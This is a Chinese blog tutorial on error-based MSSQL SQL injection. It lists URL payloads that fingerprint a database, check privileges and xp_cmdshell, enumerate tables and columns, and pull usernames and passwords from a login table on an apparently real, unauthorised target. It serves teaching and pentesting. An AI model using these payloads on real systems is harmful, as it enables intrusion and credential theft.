APT404-不作恶

在路上,一直在路上!

Sql注入入门 之 Mssql常规显错注入



1,mssql常规显错型,实例注入点,如下:

1
http://vuln.com/Product.aspx?id=8

''

2,依旧先尝试经典的单引号,数据库如期报错,报错原因的很清楚,参数后面多了单引号,不过这也恰好说明我们的单引号已被带入正常查询,其实,到此为止,根据以往的经验我们也可以判断这里百分之九十是个mssql注入点,因为这很显然不是其他数据库的报错信息嘛

1
http://vuln.com/Product.aspx?id=8'

''

1
http://vuln.com/Product.aspx?id=8 and 1=1  条件为真,页面返回正常

''

1
http://vuln.com/Product.aspx?id=8 and 1=112 条件为真,页面返回异常,典型的数字型注入

''

3,我们可以用下面的语句进一步确实目标是否真的为mssql数据库,页面返回正常则是,返回异常则不是,根据返回,没跑了,这确实是个正儿八经的mssql数据库,’sysobjects’是mssql的系统表

1
http://vuln.com/Product.aspx?id=8 and exists(select * from sysobjects)

''

4,好吧,没说的,开始写注入语句,获取当前mssql版本,可知当前数据库版本为 2008R2

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select @@VERSION))--

''

5,获取目标机器的机器名,看机器名主要是因为有时候我们想从机器名上得知这个机器大概是干嘛的,有没有可能在内网,都可以通过这个来初步判断下

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select  @@servername))--

''

6,获取当前的数据库用户名,当前数据库用户名为 ‘easysofts_kiran’,非sa,关于sa权限下的注入利用方式,后续还会有单独说明,今天的重点还是显错注入,所以为了防止跑题,这里就不多说了

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select suser_sname()))--

''

7,看下目标的xp_cmdshell存储过程是否还在,主要是想看它有没有被删掉,你也可以用这种方式来查询其它你想知道的任何存储过程

1
http://vuln.com/Product.aspx?id=8 and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell') --

''

8,看下当前角色是否为数据库管理员,返回如下报错,很显然,并不是

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(SELECT is_srvrolemember('sysadmin')))--

''

9,再看下当前角色是否为db_ownwer,我们很清楚,在这样的权限下我们可以通过各种备份方式往目标的网站目录里写文件(webshell),很显然,也不是

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select  IS_MEMBER('db_owner')))--

''

10,根据上面得到的这些信息,我们发现,这就是个再正常不过的显错mssql数字型注入点,好吧,既然如此,那就按照常规查数据的方式一步步的慢慢来吧
首先,获取当前数据库名,如下可知当前数据库名为 ‘easysofts’,db_name()在不带任何参数时表示显示当前数据库名

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name()))--

''

如下表示第二个数据库名

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name(1)))--

''

如下表示第六个数据库名,像这样重复性的动作,我们依然是可以交给burpsuite来完成

1
http://vuln.com/Product.aspx?id=8 and 1=CONVERT(int,(select db_name(5)))--

''

当然,在此之前你还可以先统计下总共有多少个库,这样,我们在burpsuite中设置payload的时候就可以更精确点了,节省时间,不过,如果你直接使用下面的语句可能会报错

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )+CHAR(58)+CHAR(58)))--

''

把里面的’+’换成%2b即可解决问题,如下

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )%2bCHAR(58)%2bCHAR(58)))--

''

11,获取当前数据库中的所有表名
如下表示获取当前库的第一张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables ))--

''

通过not in条件,把每次查出来的表名都加进去,这样就可以慢慢把所有的表都遍历出来,如下表示获取第二张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary') ))--

''

获取第三张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu') ))--

''

获取第四张表名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu','Login') ))--

''

利用上面的方法,循环往复,直到报错为止,最后得到所有的表名如下,很显然,’login’就是我们想要的管理表

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary','menu','Login','footer','feedback','header','slider','services','product') ))--

''

当然,你也可以像前面一样,事先统计下当前库中表的总个数:

1
http://vuln.com/Product.aspx?id=8  AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )%2bCHAR(58)%2bCHAR(58)))--

''

12,接着,获取’login’表中的所有字段名,获取的方式同上,利用not in依次遍历出所有的字段名

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' ))--

''

最后,获取的所有字段,名如下

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' and column_name not in('login_id','username','password','name')  ))--

''

13,有了表名,字段名接下来的事情就很好办了,直接去查出对应字段下的数据即可
获取username字段下的第一条数据

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 username from login ))--

''

获取password字段下的第一条数据

1
http://vuln.com/Product.aspx?id=8 and 1=convert(int,(select top 1 password from login ))--

''

统计login中有多少条记录

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM login)%2bCHAR(58)%2bCHAR(58)))--

''

假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行,如下就表示没权限,如果是这样你就要好好想想别的办法了:

1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC))--

''

一点小结:
    关于mssql的注入语句,大家也看到了,跟mysql也差不了多少,都是从information_scheam库中获取各种数据,不过,核心还是利用convert()函数的高级显错特性,多练习多总结即可,里面暂时也没什么特别多的技术含量,比mysql好的地方就是它可能支持堆查询,这样在写注入语句的时候就很方便了,在此只是为了让大家看的更完整一些,所以写的相对比较细,在实际渗透中,怎么简洁,怎么快,怎么方便,怎么搞,完全不用刻意去按照我们的流程来,举一反三,灵活变通才是关键当然,mssql本身还有很多高级特性,但,这不是一两篇文章就能说的清楚的,来日方长,慢慢积累吧……